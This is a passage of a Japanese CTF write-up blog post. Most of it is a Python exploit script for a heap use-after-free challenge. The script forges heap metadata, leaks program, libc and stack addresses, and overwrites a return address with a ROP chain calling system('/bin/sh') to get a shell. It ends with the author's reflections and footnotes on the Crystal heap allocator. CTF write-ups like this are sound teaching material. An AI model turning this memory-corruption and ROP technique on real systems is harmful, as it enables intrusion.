0x7f7e4eb5be50:   0x00007f7e4eb60ed0  0x0000000000000000
0x7f7e4eb5be60:   0x000000000000008b  0x0000000400000001
0x7f7e4eb5be70:   0x00007f7e4eb60f00  0x0000000000000000
0x7f7e4eb5be80:   0x0000003100000004  0x0000000000000060
0x7f7e4eb5be90:   0x00007f7e4eb79c80  0x0000000000000000
0x7f7e4eb5bea0:   0x000000310000001a  0x0000000000000060
0x7f7e4eb5beb0:   0x00007f7e4eb78c80  0x0000000000000000
'''
payload = [
  0x000000000000008b, 0x0000000400000001,
  to_h(0x00007f7e4eb60ed0), 0,
  0x000000030000008b, 0x0000000400000000,
  to_h(0x00007f7e4eb60f00), 0x0000000000000000,
  0x0000000400000004, 0x0000000000000060,
  to_h(0x00007f7e4eb79c80), 0x0000000000000000,
  0x000000040000001a, 0x0000000000000060,
  to_h(0x00007f7e4eb78c80), 0x0000000000000000,
  0x000000000000008b, 0x0000000000000000
]
payload[-4] = int_array
payload = b''.join(map(p64, payload))
payload = b"\x00" * (0x1b0 - len(payload) - 12) + payload
add(payload)

mark(int_array)
prog_addr = heap_base - 0x15c0
give_id(prog_addr)
#interactive()

update(0, "hoge")
l = print_list(do_print=False)
prog_base = l[0][0] - 0x103e10
print(f"prog_base: {hex(prog_base)}")

printf_got = prog_base + 0x129c10
give_id(printf_got)
l = print_list(do_print=False)
if is_gaibu:
  # <__printf>
  libc_base = l[0][0] - 0x60770
  environ = libc_base + 0x221200
  binsh = libc_base + 0x1d8698
  system = libc_base + 0x50d60
else:
  # <__printf>
  libc_base = l[0][0] - 0x60770
  environ = libc_base + 0x221200
  binsh = libc_base + 0x1d8698
  system = libc_base + 0x50d60

pop_rdi_ret = prog_base + 0x5dbc4
ret = pop_rdi_ret + 1

print(f"libc_base: {hex(libc_base)}")

give_id(environ)
l = print_list(do_print=False)
stack_addr = l[0][0]
print(f"stack_addr: {hex(stack_addr)}")

ret_addr = stack_addr - 0x190
current_val = prog_base + 0xea1a9
give_id(ret_addr)
mark(current_val)
give_id(pop_rdi_ret)
mark(0)
give_id(binsh)
mark(0)
give_id(ret)
mark(0)
give_id(system)

print(f"stack: {hex(ret_addr)}")
print(f"current_val: {hex(current_val)}")


interactive()

github.com

感想

DEF CONを除くと(?)、今年始めてのまともに参加したCTFかもしれない(ある程度は追ってはいたが、フルには参加していなかった)。CTFを久々にやると、定数倍解くのが遅くなるといった感じがあり、flippersあたりまで本当は手が出せるとよかったなあという感じ。

BrainJITやmimikyuにも微妙にちゃちゃを出したもののそれらと上で解いた問題以外はほとんど知らないが、基本的に問題に必要な最小限の実装と、ソースコードの提供があり、ストレスの無いCTFで体験が本当に良かった(まあこれはzer0pts CTFとしては、いつものことでもある(?)が)。運営お疲れ様でした。

*1:smallkirbyが Qiling Sandbox Escape | Kalmarunionen というwriteupを引っ張ってきてくれた

*2:弊チームには、AtCoder LibraryのCrystal版 を書くほどのCrystal使いであるところの 博多市 がいるので、当然Crystalのheap allocatorの動作にも詳しいはずと思って聞いたが教えてくれなかった。

*3:id_list上書きのとき付随して上書きされてしまうstringに関するメタデータ(String型の値は HEADER + bufferみたいな形をしている)が結構厄介で、なんか知らんけど適当に上書きすると色々動かず、また使われていそうな場所をexactに書き換えても動かず試行錯誤した結果 https://gist.github.com/moratorium08/29014b181fc3cab7181f7e361bc74fb4#file-wise-py-L239 にあるようになぜか1な場所を0にすると動いたりした。また小さいバッファはto_u64はgetsなどで結構使われているので、大きめのid_listをUAFに使わないといけない